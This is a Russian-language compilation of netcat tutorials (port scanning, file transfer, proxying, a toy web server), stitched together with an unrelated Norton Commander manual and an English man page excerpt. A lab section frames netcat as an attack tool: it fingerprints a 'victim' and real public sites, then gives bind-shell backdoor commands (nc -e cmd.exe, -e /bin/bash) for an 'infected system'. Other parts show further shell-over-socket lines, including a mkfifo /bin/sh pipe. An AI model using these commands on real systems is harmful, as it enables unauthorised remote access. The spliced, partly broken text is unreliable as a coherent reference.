Netcat описание. Netcat – примеры использования
Система Linux известна тем, что в большинстве дистрибутивов огромное количество полезных утилит командной строки поставляются сразу вместе с ОС. Опытные системные администраторы могут выполнить большинство задач с помощью встроенных инструментов без необходимости установки дополнительного программного обеспечения.
Данное руководство посвящено работе утилиты . Этот своеобразный «швейцарский армейский нож» сетевых инструментов может быть полезен при мониторинге, тестировании и передаче данных через сетевые соединения.
В данном руководстве используется сервер Ubuntu 12.04, но в целом утилита netcat доступна практически на любом современном дистрибутиве. Ubuntu поставляется с BSD-вариантом утилиты, который и будет использован в этой статье. Другие версии могут работать по-другому или предоставлять другие опции.
Общий синтаксис
По умолчанию netcat работает путем инициации соединения TCP с удаленным хостом.
Базовый синтаксис:
netcat [опции] хост порт
Такая команда инициирует TCP-соединение с указанным хостом через заданный порт. В основном, она функционирует аналогично старой команде Linux — telnet. Имейте в виду, что ваше соединение будет установлено в незашифрованном виде.
Чтобы вместо установления TCP-соединения отправить UDP-пакет, используйте опцию -u:
netcat -u хост порт
Чтобы задать диапазон портов, укажите первый и последний порт диапазона через тире:
netcat хост первый_порт-последний_порт
Обычно данная команда используется с дополнительными флагами.
На большинстве систем можно использовать netcat или nc. Они взаимозаменяемы, поскольку являются псевдонимами для одной команды.
Использование для сканирования портов
Чаще всего netcat используют как сканер портов.
Хотя Netcat, вероятно, не самый умный инструмент для выполнения этой задачи (в большинстве случаев для этого больше подойдет nmap), он может выполнять простое сканирование портов, чтобы быстро определить открытые порты.
Для этого укажите диапазон портов для сканирования (как показано выше), а также используйте опцию -z, которая выполняет сканирование вместо установления соединений.
К примеру, чтобы просканировать все порты до порта 1000, выполните:
netcat -z -v domain.com 1-1000
Как видите, кроме опции -z в данной команде использована опция -v, благодаря которой netcat выводит более подробную информацию.
Результат имеет такой вид:
nc: connect to domain.com port 1 (tcp) failed: Connection refused
nc: connect to domain.com port 2 (tcp) failed: Connection refused
nc: connect to domain.com port 3 (tcp) failed: Connection refused
nc: connect to domain.com port 4 (tcp) failed: Connection refused
nc: connect to domain.com port 5 (tcp) failed: Connection refused
nc: connect to domain.com port 6 (tcp) failed: Connection refused
nc: connect to domain.com port 7 (tcp) failed: Connection refused
. . .
Connection to domain.com 22 port succeeded!
. . .
Как видите, эта команда выводит достаточно подробный результат, а также сообщает, было ли сканирование каждого отдельного порта успешным или нет.
Это удобно при использовании доменного имени.
Тем не менее, указывая нужные IP-адреса, можно значительно ускорить сканирование. Затем можно использовать флаг -n, чтобы указать, что не нужно разрешать IP-адрес с помощью DNS:
netcat -z -n -v 111.111.111.111 1-1000
Возвращаемые сообщения отправляются в стандартный поток ошибок. Сообщения о стандартных ошибках можно отправлять в стандартный вывод, чтобы фильтровать результаты.
Для перенаправления стандартной ошибки в стандартный вывод используется bash-синтаксис 2>&1; полученные результаты фильтруются с помощью grep:
netcat -z -n -v 111.111.111.111 1-1000 2>&1 | grep succeeded
Connection to 111.111.111.111 22 port succeeded!
Итак, теперь можно видеть, что единственный открытый порт на удаленной машине в диапазоне 1-1000 — это порт 22, стандартный порт SSH.
Общение с помощью netcat
Команда netcat не ограничивается отправкой пакетов TCP и UDP. Она также может прослушивать порт на соединения и пакеты, что дает возможность подключить два экземпляра netcat в отношении «клиент-сервер».
Который компьютер является сервером, а который — клиентом, существенно только во время начальной настройки. После того, как соединение установлено, связь одинакова в обоих направлениях.
На одной машине нужно сказать netcat прослушивать определенный порт на подключения. Это делается с помощью параметра -l, после которого указывается номер порта:
Выполнив эту команду, netcat прослушивает соединения TCP на порту 4444. Теперь обычный пользователь (не root) не сможет открывать какие-либо порты до 1000 (для безопасности сервера).
На втором сервере нужно подключиться к первой машине через указанный порт. Это делается так же, как было показано ранее:
netcat domain.com 4444
После установления соединения может показаться, что ничего не произошло. Но теперь можно отправлять сообщения по обе стороны соединения и они будут видны на обоих серверах.
Введите сообщение и нажмите ENTER. Сообщение появится как на локальном, так и на удаленном сервере. Это работает и в обратном направлении.
Завершив передачу сообщений, нажмите CTRL-D, чтобы прервать TCP-соединение.
Обмен файлами с помощью netcat
Ознакомившись с основными функциями утилиты и выполнив предыдущие примеры, можно перейти к более сложным задачам.
Как уже говорилось, утилита netcat создает TCP-соединения, с помощью которых можно передавать практически любой вид информации, не ограничиваясь набранными пользователем сообщениями. Эти знания можно использовать, чтобы превратить netcat в программу передачи файлов.
Опять же, нужно выбрать одну машину для прослушивания соединений. Однако, вместо того, чтобы печатать информацию на экран (как в предыдущем примере), netcat разместит всю информацию прямо в файл:
netcat -l 4444 > received_file
На втором компьютере нужно создать простой текстовый файл:
echo "Hello, this is a file" > original_file
Теперь можно использовать этот файл в качестве входных данных для создания соединения со слушающим компьютером. Файл будет передаваться так же, как если бы он был набран в интерактивном режиме:
netcat domain.com 4444 < original_file
Как можно видеть, на компьютере, который ожидал соединения, теперь есть новый файл с именем «received_file», содержащий введенные на другом компьютере данные:
cat received_file
Hello, this is a file
Как видите, подобные соединения можно легко использовать для передачи любого рода информации.
К примеру, можно передать содержимое целого каталога; для этого создайте безымянный тарбол, передайте его на удаленную систему и распакуйте его в удаленный каталог.
На принимающей стороне можно использовать следующую команду, чтобы предупредить о том, что нужно получить и распаковать файл:
netcat -l 4444 | tar xzvf -
Тире в конце команды означает, что тарбол будет работать на стандартный ввод, который в настоящее время передается по сети, если соединение установлено.
На стороне, содержащей каталог, который нужно передать, упакуйте данный каталог в архив, а затем отправьте его на удаленный компьютер с помощью netcat:
tar -czf - * | netcat domain.com 4444
На этот раз тире в команде tar значит, что содержимое текущего каталога (как указано символом *) нужно заархивировать и передать, а затем записать результат в стандартный вывод.
Затем это записывается в подключение ТСР, передается другой стороне соединения и распаковывается в текущий каталог удаленного компьютера.
Это лишь один пример передачи более сложных данных с одного компьютера на другой. Также часто используется команда dd, которая создает образ диска на одной стороне и передает его на удаленный компьютер. Тем не менее, такой подход не охвачен данным руководством.
как простой веб-сервер
Утилита netcat уже была использована для передачи сообщений и файлов. Этот же подход поможет использовать netcat как простой веб-сервер. Это может пригодиться для тестирования готовых страниц.
Для начала нужно создать HTML-файл на одном сервере:
В данном файле можно разместить следующий простой код:
Level 1 header
Subheading
Normal text here
Сохраните и закройте файл.
Данный файл нельзя обслуживать на порту веб-сервера по умолчанию (80) без привилегий root. Потому как обычный пользователь установите порт 8888.
Чтобы протестировать одну страницу и проверить, как она отображается, наберите что-то вроде:
netcat -l 8888 < index.html
Теперь контент можно просмотреть в браузере, посетив:
http://IP_сервера:8888
Эта команда выведет страницу, после чего соединение netcat закроется. При попытке обновить страницу она исчезнет.
Netcat может обслуживать страницу на продолжении неопределенного срока; для этого нужно сделать последнюю команду цикличной при помощи строки:
while true; do nc -l 8888 < index.html; done
Тогда страница будет продолжать получать соединения после того, как первое соединение было прекращено.
Чтобы остановить цикл, наберите CTRL-C.
Этот сервер позволит увидеть, как страница отображается в браузере, но не предоставляет более широкой функциональности. Никогда не используйте такой веб-сервер для обслуживания реальных сайтов: он небезопасен, кроме того, такие простые вещи, как ссылки, не всегда работают правильно.
Итоги
Данное руководство знакомит с основными функциями и использованием netcat. Так как этот инструмент универсален, он может быть использован для диагностики проблем и тестирования базовой функциональности TCP/UDP-соединений.
Кроме того, netcat позволяет общаться и обмениваться информацией между различными компьютерами, что очень важно для быстрого взаимодействия пользователей. Упрощая создание соединения, утилита netcat пытается сделать сетевые взаимодействия компьютеров более удобными, быстрыми и понятными.
Tags: ,Отображение тестовой HTML-странички клиенту с обычным браузером одной командой (порт 8080):
(echo -e "HTTP/1.1 200 OK\nContent-Type: text/html\n\n Hello World";) | nc -vv -l -p 8080
Передача файла клиенту с обычным браузером одной командой (порт 8080):
(echo -e "HTTP/1.1 200\nContent-Disposition: attachment;
filename=целевое-имя-которое-увидит-клиент\nContent-Type:
application/octet-stream\nConnection: close\n"; cat имя-файла-на-диске)
| nc -vv -l -p 8080
Как пользоваться nc?
(http://handynotes.ru/2010/01/unix-utility-netcat.html )
Начнем с нескольких простых примеров и далее будем их использовать как базовые.
Если Вы помните, я говорил, что netcat это Швейцарский армейский нож.
Чем-бы этот нож был, если бы его нельзя было использовать как обычный
нож? Вот почему netcat может использоваться вместо обычного telnet:
$ nc www.google.com 80
В действительности он более удобный чем обычный telnet, потому что Вы можете завершить соединение в любое время, нажав Ctrl+C и он обрабатывает двоичные данные как обычные (никаких escape последовательностей, ничего).Вы можете добавить параметр “-v” для более подробного вывода результатов действий, и параметр (-vv) для получения статистики о том, сколько байт было передано во время текущего сеанса соединения.
Netcat может быть использован в качестве сервера. Если Вы запустите его, как указано ниже, он будет слушать на порту 12345 (на всех интерфейсах):
$ nc -l -p 12345
Теперь если Вы подключитесь к порту 12345 этого хоста, все, что Вы набираете будет передано удаленной стороне, что говорит нам о том, что netcat можно использовать как чат сервер. Запустите на одном из компьютеров:# На компьютере A с IP 10.10.10.10
$ nc -l -p 12345
И подключитесь к нему с другого:
# На компьютере B
$ nc 10.10.10.10 12345
Теперь обе стороны могут переговариваться!
Такой способ разговора, когда обе стороны могут разговаривать друг с
другом делает возможным использование nc для операций ввода/вывода через
сеть! К примеру, Вы можете послать целую директорию с одного компьютера
на другой организовав tar конвейер через nc на первом компьютере, и
перенаправив вывод в другой tar процесс на втором.
Предположим, Вы хотите переслать файлы из директории /data компьютера
A с IP 192.168.1.10 на компьютер B (с любым IP). Это просто:
$ tar -cf — /data | nc -l -p 6666
# На компьютере B
$ nc 192.168.1.10 6666 | tar -xf -
Не забудьте скомбинировать конвейер с Рipe Viewer , который был описан в предыдущей статье, что-бы посмотреть статистику того, как быстро происходит передача!
Одиночный файл может быть послан проще:
# На компьютере A с IP 192.168.1.10
$ cat file | nc -l -p 6666
# На компьютере B
$ nc 192.168.1.10 6666 > file
Вы даже можете скопировать и восстановить целый диск, с помощью nc:
# На компьютере A с IP 192.168.1.10
$ cat /dev/hdb | nc -l -p 6666
# На компьютере B
$ nc 192.168.1.10 6666 > /dev/hdb
Заметим: Опция “-l” не может быть использована совместно с “-p” на
Mac компьютерах! Решение, — просто заменить “-l -p 6666? на “-l 6666?.
Как здесь:
# теперь nc слушает на порту 6666 для Mac компьютеров
$ nc -l 6666
Незаурядное использование netcat — сканирование портов. Netcat не
лучший инструмент для такой работы, но он с этим справляется (лучший,
конечно-же nmap):
$ nc -v -n -z -w 1 192.168.1.2 1-1000
(UNKNOWN) 445 (microsoft-ds) open
(UNKNOWN) 139 (netbios-ssn) open
(UNKNOWN) 111 (sunrpc) open
(UNKNOWN) 80 (www) open
(UNKNOWN) 25 (smtp) : Connection timed out
(UNKNOWN) 22 (ssh) open
Параметр “-n” предотвращает от просмотра DNS, “-z” не ждет ответа от
сервера, и “-w 1? задает таймаут для соединения в 1 секунду.
Другое нетривиальное использование netcat в роли прокси. И порт и хост могут быть перенаправлены. Посмотрите на этот пример:
$ nc -l -p 12345 | nc www.google.com 80
Эта команда запускает nc на порту 1234 и перенаправляет все
соединения на google.com:80. Если теперь Вы подключитесь к этому
компьютеру на порту 12345 и сделаете запрос, Вы обнаружите, что в ответ
не получаете никаких данных. Это правильно, потому-что мы не установили
двунаправленный канал. Если Вы добавите второй канал, Вы получите Ваши
данные на другом порту:
$ nc -l -p 12345 | nc www.google.com 80 | nc -l -p 12346
После посылки запроса на порт 12345, получите Ваши данные ответа на порту 12346.
Вероятно самая мощная возможность netcat — запустить любой процесс как сервер:
$ nc -l -p 12345 -e /bin/bash
Параметр “-e” пораждает выполнение ввода и вывода перенаправляемого
через сетевой сокет. Теперь, если Вы подключитесь к хосту на порту
12345, Вы можете использовать bash:
$ nc localhost 12345
ls -las
total 4288
4 drwxr-xr-x 15 pkrumins users 4096 2009-02-17 07:47 .
4 drwxr-xr-x 4 pkrumins users 4096 2009-01-18 21:22 ..
8 -rw——- 1 pkrumins users 8192 2009-02-16 19:30 .bash_history
4 -rw-r—r— 1 pkrumins users 220 2009-01-18 21:04 .bash_logout
(http://execbit.ru/2011/05/23/netcat/)
1 Передавать файлы (первую команду выполняем на принимающей машине, вторую - на передающей:
$ nc -l 31334 > filename $ nc 172.16.69.143 31334 < filename
$ nc -f /var/log/messages | nc -l 31334 $ nc 172.16.69.143 31334
3 Использовать вместо telnet (первая - telnet-сервер, вторая - клиент):
$ nc -l -p 31334 -e /bin/sh $ nc 172.16.69.143 31334
4 Сканировать на открытые порты:
$ nc -z execbit.ru 1-1024
5 Осуществлять фингерпринт сервисов на основе баннеров:
$ echo "QUIT" | nc execbit.ru 1-1024
6 Организовывать обратный шелл (первая - клиент, вторая - сервер, однако шелл откроется от сервера к клиенту).
Инструкция по работе в Norton Commander
Для запуска системы NC в командной строке DOS набрать команду NC либо щелкнуть левой кнопкой мышки по пиктограмме NC на рабочем столе компьютера. Для завершения работы с NC нажать клавишу [ F 10] . В появившемся диалоговом окне выбрать ответ “Да” в случае выхода из системы, “Нет” – в противном случае. Выбор варианта ответа выполняется клавишами управления курсором на функциональной клавиатуре и последующим нажатием клавиши [ Enter ] . В нижней части экрана содержится командная строка DOS, где можно вводить соответствующие команды, работая под управлением NC. Самая нижняя строка экрана содержит строку подсказки, где указывается назначение основных “горячих” клавиш, которые соответствуют командам NC (и DOS).
После запуска NC на экране появляются две панели – левая и правая. В верхней части каждой из панелей в маленьком прямоугольном окне указано полный путь к текущему файлу или каталогу. Та панель, в которой находится подсвеченный прямоугольник – курсор, называется активной. Для перехода с панели на панель используется клавиша . Если выделена верхняя строка на панели и изображением “…” это означает, что Вы находитесь в каталоге с именем, указанным в верхней части панели. Для работы с панелями используются следующие команды:
[ Ctrl ] + [ F 1] Убрать/ показать левую панель
[ Ctrl ] + [ F 2] Убрать/ показать правую панель
[ Ctrl ] + [ U ] Поменять панели местами
[ Ctrl ] + [ O ] Убрать/ показать обе панели
[ Ctrl ] + [ P ] Убрать/ показать не активную панель
Для смены логического имени диска на левой панели нажать [ Alt ] + [ F 1] , в появившемся диалоговом окне выбрать с помощью клавиш управления курсором нужное имя диска из предлагаемых имен, нажать клавишу [ Enter ] . Для правой панели действия аналогичны, но в начале следует нажать [ Alt ] + [ F 2] .
Для перехода в каталог выделить его на активной панели и нажать клавишу [ Enter ] . Для перехода в каталог более высокого уровня на активной панели выделить строку “…” и нажать клавишу [ Enter ] .
Для работы с каталогами используются следующие команды:
[ F 7] – создать каталог . В появившемся диалоговом окне задать новое имя каталога;
[ F 8] – удалить каталог . В появившемся диалоговом окне подтвердить удаление или отменить удаление нажатием клавиши Esc.
Для работы с файлами используются следующие команды:
[ Shift ] + [ F 4] – создать файл . В появившемся диалоговом окне задать новое имя файла (при этом не забывать указывать расширение). После того как имя файла задано, в рабочем пространстве экрана набрать содержимое файла. Завершить создание файла командой [ Ctrl ] + [ Z ]. Для сохранения файла нажать клавишу [ F 2] . Выйти из режима редактирования клавишей [ F 10 ] .
[ F 4] – редактирование ранее созданного документа . При этом в диалоговом окне необходимо задать имя редактируемого файла. При работе в режиме редактирования в пространстве экрана в нижней части появляется строка подсказки с назначением “горячих” клавиш в режиме редактирования.
[ Shift ] + [ F 2] – сохранить файл с новым именем.
[ F 3] – просмотреть содержимое файла . Для этого предварительно выделить файл на панели.
[ F 5] – копирование файла . Все операции с файлами и каталогами выполняются с использованием обеих панелей. Для копирования файла на неактивной панели установить каталог, куда будет помещен копируемый файл, перейти в данный каталог. На активной панели выделить копируемый файл и нажать клавишу [ F 5] . Для подтверждения копирования нажать клавишу [ Enter ] , для отмены – .
[ F 6] – перенос/переименование файла . Операция выполняется аналогично копированию. Для перемещения файла на неактивной панели установить каталог, куда будет помещен файл, перейти в данный каталог. На активной панели выделить перемещаемый файл и нажать клавишу [ F 6] . Для переименования файла в диалоговом окне задать новое имя файла, добавив его через значок ” \ ” в указании пути. При этом необходимо помнить, что перемещаемый файл с прежнего места удаляется.
[ F 9] – переход в меню NC .
Групповые операции над файлами
Операции копирования, перемещения, удаления можно выполнять над несколькими файлами одновременно. Для этого их необходимо пометить, выделив на панели и нажав клавишу [ Insert ] . При этом выделенные файлы подсвечиваются прямоугольниками контрастного цвета. Для снятия выделения указанные действия повторить. После процедуры выделения файлов требуемая операция (копирования, перемещения, удаления) выполняется над группой файлов как над одним. Второй способ выделения файла выполняется при нажатии большой серой клавиши ”+” на функциональной клавиатуре слева. После нажатия этой клавиши в диалоговом окне следует задать имя файла или указать имена файлов при использовании маски в имени: “ * ”, “ *.* ”, “ ? ”. Для снятия выделения файлов использовать клавишу ” - ” на функциональной клавиатуре слева.
Система Меню NC
Система меню предназначена для настройки оболочки и облегчения выполнения операций. Вызов строки меню осуществляется при нажатии клавиши [ F 9] . Система меню состоит из строки меню и выпадающих меню. Меню содержит следующие пункты: Правая Файлы Команды Настройки Левая . Команды Правая и Левая определяют выбор режима отображения файлов на панели. Все опции команд для левой и правой панели идентичны. Команда Файлы предназначена для выполнения операций над файлами и каталогами. Пункт меню Команды предназначен для выполнения дополнительных команд. Команда Настройки предназначена для настройки среды NC. Выбор соответствующей команды выполняется с помощью клавиш управления курсором и последующим нажатием клавиши [ Enter ].
Пункт меню Левая (Правая).
Выпадающее меню данной команды содержит опции выбора формата отображения файла на экране. В режиме Краткий на панели выводятся только имена файлов и каталогов. В режиме Полный выводятся имя файла или каталога, для файла указывается его размер, для каталога – строка “подкаталог“, дата и время создания файла и каталога. В режиме Дерево можно отобразить дерево каталогов текущего диска и с помощью курсора быстро отыскать требуемый файл, перемещаясь по дереву. Следующая группа опций данного пункта меню определяет порядок отображения файлов на панели. При этом файлы могут располагаться в произвольном порядке – режим Без сортировки , а могут быть упорядочены в определенном порядке: Имя – по имени в алфавитном порядке, Расширение – по расширению в алфавитном порядке, Время – по дате создания, причем файлы с последними датами создания располагаются в начале списка, Размер – по размеру файла в порядке убывания. Выбор строки соответствующего режима осуществляется курсором и установки флажка с помощью клавиши “пробел”.
Пункт меню Файлы .
Выпадающее меню данной команды содержит описание назначения горячих клавиш [ F 1] - [ F 8] , т.е. действия горячих клавиш продублированы командами меню. Следующая опция – Установка атрибутов. Атрибуты устанавливаются только для файлов. Порядок установки атрибутов таков: на панели курсором выбирается файл. После этого нажав клавишу [ F 9] перейти в меню NC и выбрать пункт Файлы Установка атрибутов . После нажатия клавиши [ Enter ] в диалоговом окне появляется список возможных атрибутов: Только для чтения, Архивные, Скрытые, Системные . Выбор строки атрибута файла выполняется курсором и установки флажка с помощью клавиши “пробел”. При этом файл с атрибутами Только для чтения невозможно модифицировать, он доступен только для просмотра. Файл с атрибутами Скрытый на панели помечается маленьким подсвеченным прямоугольничком (если в настройках экрана не установлена опция Показать скрытые файлы имя файла вообще на панели не отображается). Следующая группа команд позволяет выделять файлы (аналог большой серой клавиши ”+” ), снимать выделение (аналог клавиши ” - ” на функциональной клавиатуре), инвертировать выделение (аналог клавиши ” * ” на функциональной клавиатуре).
Пункт меню Команды .
Выпадающее меню данной команды позволяет создать меню пользователя, отредактировать данное меню, просмотреть историю команд, вводимых в командной строке DOS, и содержит другие дополнительные возможности оболочки NC.
Пункт меню Настройки.
Выпадающее меню данной команды позволяет настроить интерфейсную среду удобным для пользователя образом. Содержит опцию Настройки Редактор и другие. При выборе строки меню Настройки раскрывается набор диалоговых окон, позволяющих выбрать цветовой набор экрана, задать количество строк на экране и т.д. Диалоговое окно Настройки панели позволяет Показать скрытые файлы , если установлен соответствующий флажок (или не показывать). Установка флажков соответствующих опций выполняется также курсором и клавишей “пробел”.
Задание к лабораторной работе
·nc -h
Как Вы можете видеть, основной синтаксис Netcat заключается в следующем.
Чтобы подключиться к другой машине:
·nc options host IP address port
чтобы прослушивать входящие соединения:
·nc -l -p port
Шаг 2: Используйте Netcat для подключения к удаленной системе
Давайте используем Netcat для подключения к удаленной системе. В нашем случае, постараемся подключиться к веб-серверу через порт 80. Набираем:
·nc 192.168.1.105 80
Шаг 3: Используйте Netcat, чтобы захватить баннер с отпечатками пальцев ОС
Как только мы получили связь TCP с веб мы можем использовать Netcat, чтобы захватить баннер веб сервера для идентификации, какое программное обеспечение работает на веб-сервере жертвы.
Помните, что, прежде чем атаковать любую систему, мы должны узнать как можно больше о жертве. Netcat может помочь нам с этой задачей, захватывая баннеры, которые веб-серверы обслуживают для новых подключений.
Теперь, когда у нас есть связь, мы можем захватить баннер с веб - сервера с помощью команды:
·HEAD / HTTP/1.0
Будьте внимательными и скопируйте в точности, как ввел автор, с косой чертой и пробелами.
Нажмите Enter несколько раз, и веб -сервер ответит своим баннером, сообщив нам, какое его программное обеспечение запущено. В нашем случае, мы можем видеть, что веб - сервер работает под управлением Microsoft IIS 6.0.
Мы можем использовать эту технику также на других общедоступных сайтах. Давайте попробуем на некоторых широко известных сайтах и посмотрим, какое программное обеспечение они используют на веб-сервере. Во-первых, давайте попробуем сайт wonderhowto.com. Когда мы пропингуем wonderhowto.com, то увидим, что IP-адрес 98.129.110.26. Таким образом, можно затем ввести:
·nc 98.129.110.26 80
После того, как будет связь, мы можем захватить баннер веба, снова набрав:
·HEAD / HTTP/1.0
А потом нажмите Enter два или три раза.
Как видим, wonderhowto.com работает на Microsoft-IIS/7.5.
Если мы попробуем то же самое с cnn.com, то получим результаты, приведенные ниже:
Интересно, cnn.com работает на nginx - веб сервере с открытым исходным кодом, который за очень короткий промежуток времени достиг в глобальном масштабе общего числа установок Microsoft IIS (Apache, как и раньше, используют более 60 % веб-серверов на планете).
Шаг 4: Используйте Netcat для прослушивания подключений
Теперь давайте используем netcat, чтобы создать слушателя на удаленной системе. Предположим, что у нас есть Windows Server, на котором мы установили netcat. Теперь мы можем ввести следующее, чтобы открыть netcat слушателя на порту 6996 (это может быть любой порт) в этой системе:
·nc - l -p 6996
Так был создан "слушатель", который может подключиться к нашему досугу. Обратите внимание, что на системах Windows, мы можем запустить эту же команду с верхним регистром L и это создаст постоянного слушателя, который откроется, даже если система будет перезагружена.
Шаг 5: Создайте Backdoor
Теперь давайте создадим бэкдор на зараженной системе, чтобы мы могли вернуться в любое время. Команда будет незначительно отличаться в зависимости от того, какую систему, Linux или Windows, атакуем.
Для Windows мы используем:
·nc -l -p 6996 -e cmd.еxe
Для Linux используем:
·nc -l -p 6996 -e /bin/bash
·nc 192.168.1.105 6996
Как Вы можете видеть, командную строку Windows провел по трубопроводу через наше подключение netcat непосредственно к нашей атакующей системе! Мы имеем этот ящик!
nc [-46bCDdhklnrStUuvZz] [-I length ] [-i interval ] [-O length ] [-P proxy_username ] [-p source_port ] [-q seconds ] [-s source ] [-T toskeyword ] [-V rtable ] [-w timeout ] [-X proxy_protocol ] [-x proxy_address [:port ]] [destination ] [port ]Options
-4 | Forces nc to use IPv4 addresses only. |
-6 | Forces nc to use IPv6 addresses only. |
-b | Allow broadcast. |
-C | Send as line-ending. |
-D | Enable debugging on the socket. |
-d | Do not attempt to read from stdin . |
-h | Prints out nc help. |
-I length | Specifies the size of the TCP receive buffer . |
-i interval | Specifies a delay time interval between lines of text sent and received. Also, causes a delay time between connections to multiple ports. |
-k | Forces nc to stay listening for another connection after its current connection is completed. It is an error to use this option without the -l option. |
-l | Used to specify that nc should listen for an incoming connection rather than initiate a connection to a remote host . It is an error to use this option in conjunction with the -p , -s , or -z options. Additionally, any timeouts specified with the -w option are ignored. |
-n | Do not do any DNS or service lookups on any specified addresses, hostnames or ports . |
-O length | Specifies the size of the TCP send buffer. |
-P proxy_username | Specifies a username to present to a proxy server that requires authentication . If no username is specified then authentication will not be attempted. Proxy authentication is only supported for HTTP CONNECT proxies at present. |
-p source_port | Specifies the source port nc should use, subject to privilege restrictions and availability. |
-q seconds | after EOF on stdin, wait the specified number of seconds and then quit. If seconds is negative, wait forever. |
-r | Specifies that source or destination ports should be chosen randomly instead of sequentially within a range or in the order that the system assigns them. |
-S | Enables the RFC 2385 TCP MD5 signature option. |
-s source | Specifies the of the interface that is used to send the packets . For UNIX-domain datagram sockets, specifies the local temporary socket file to create and use so that datagrams can be received. It is an error to use this option in conjunction with the -l option. |
-T toskeyword | Change IPv4 TOS value. toskeyword may be one of critical , inetcontrol , lowcost , lowdelay , netcontrol , throughput , reliability , or one of the DiffServ Code Points: ef , af11 ... af43 , cs0 ... cs7 ; or a number in either hex or decimal . |
-t | Causes nc to send RFC 854 DON"T and WON"T responses to RFC 854 DO and WILL requests. This makes it possible to use nc to script telnet sessions. |
-U | Specifies to use UNIX-domain sockets. |
-u | Use UDP instead of the default option of TCP. For UNIX-domain sockets, use a datagram socket instead of a stream socket. If a UNIX-domain socket is used, a temporary receiving socket is created in /tmp unless the -s flag is given. |
-V rtable | Set the routing table to be used. The default is 0. |
-v | Have nc give more verbose output. |
-w timeout | Connections which cannot be established or are idle timeout after timeout seconds. The -w flag has no effect on the -l option, i.e. nc will listen forever for a connection, with or without the -w flag. The default is no timeout. |
-X proxy_protocol | Requests that nc should use the specified protocol when talking to the proxy server. Supported protocols are "4 " (SOCKS v.4), "5 " (SOCKS v.5) and "connect " (HTTPS proxy). If the protocol is not specified, SOCKS version 5 is used. |
-x proxy_address[:port] | Requests that nc should connect to destination using a proxy at proxy_address and port . If port is not specified, the well-known port for the proxy protocol is used (1080 for SOCKS, 3128 for HTTPS). |
-Z | DCCP mode. |
-z | Specifies that nc should only scan for listening daemons, without sending any data to them. It is an error to use this option in conjunction with the -l option. |
destination can be a numerical IP address or a symbolic hostname (unless the -n option is given). In general, a destination must be specified, unless the -l option is given (in which case the local host is used). For UNIX-domain sockets, a destination is required and is the socket path to connect to (or listen on if the -l option is given).
port can be a single integer or a range of ports. Ranges are in the form nn-mm . In general, a destination port must be specified, unless the -U option is given.
Client/Server model
It is quite simple to build a very basic client/server model using nc . On one console, start nc listening on a specific port for a connection. For example:
Nc -l 1234
nc is now listening on port 1234 for a connection. On a second console (or a second machine), connect to the machine and port being listened on:
Nc 127.0.0.1 1234
There should now be a connection between the ports. Anything typed at the second console will be concatenated to the first, and vice-versa. After the connection was set up, nc does not really care which side is being used as a ‘server’ and which side is being used as a ‘client’. The connection may be terminated using an EOF (‘^D ’).
There is no -c or -e option in modern netcat, but you still can execute a command after connection being established by redirecting file descriptors. Be cautious here because opening a port and let anyone connected execute arbitrary command on your site is DANGEROUS. If you really need to do this, here is an example:
On ‘server’ side:
Rm -f /tmp/f; mkfifo /tmp/f cat /tmp/f | /bin/sh -i 2>&1 | nc -l 127.0.0.1 1234 > /tmp/f
On ‘client’ side:
Nc host.example.com 1234
(shell prompt from host.example.com)
Start by using nc to listen on a specific port, with output captured into a file:
Nc -l 1234 > filename.out
Using a second machine, connect to the listening nc process, feeding it the file that is to be transferred:
Nc host.example.com 1234 < filename.in
After the file is transferred, the connection will close automatically.
Talking to servers
It is sometimes useful to talk to servers "by hand" rather than through a user interface. It can aid in troubleshooting, when it might be necessary to verify what data a server is sending in response to commands issued by the client. For example, to retrieve the homepage of a website:
Printf "GET / HTTP/1.0\r\n\r\n" | nc host.example.com 80
Note that this also displays the headers sent by the web server. They can be filtered, using a tool such as sed , if necessary.
More complicated examples can be built up when the user knows the format of requests required by the server. As another example, an e-mail may be submitted to an SMTP server using:
Nc [-C] localhost 25 << EOF HELO host.example.com MAIL FROM:< > RCPT TO:< > DATA Body of e-mail. . QUIT EOF
Port scanning
It may be useful to know which ports are open and running services on a target machine. The -z flag can be used to tell nc to report open ports, rather than initiate a connection. Usually, it"s useful to turn on verbose output to stderr by use this option in conjunction with -v option.
Nc -zv host.example.com 20-30 Connection to host.example.com 22 port succeeded! Connection to host.example.com 25 port succeeded!
The port range was specified to limit the search to ports 20 - 30 , and is scanned by increasing order.
You can also specify a list of ports to scan, for example:
Nc -zv host.example.com 80 20 22 nc: connect to host.example.com 80 (tcp) failed: Connection refused nc: connect to host.example.com 20 (tcp) failed: Connection refused Connection to host.example.com port succeeded!
The ports are scanned by the order you given.
Alternatively, it might be useful to know which server software is running, and which versions. This information is often contained in the greeting banners. To retrieve these, it is necessary to first make a connection, and then break the connection when the banner was retrieved. This can be accomplished by specifying a small timeout with the -w flag, or perhaps by issuing a "QUIT" command to the server:
Echo "QUIT" | nc host.example.com 20-30 SSH-1.99-OpenSSH_3.6.1p2 Protocol mismatch. 220 host.example.com IMS SMTP Receiver Version 0.84 Ready
Examples
nc -p 31337 -w 5 host.example.com 42Opens a TCP connection to port 42 of host.example.com , using port 31337 as the source port, with a timeout of 5 seconds.
Nc -u host.example.com 53 nc -x10.2.3.4:8080 -Xconnect -Pruser host.example.com 42
The same as the above example, but this time enabling proxy authentication with username "ruser " if the proxy requires it.
Related commands
ifconfig — View or modify the configuration of network interfaces.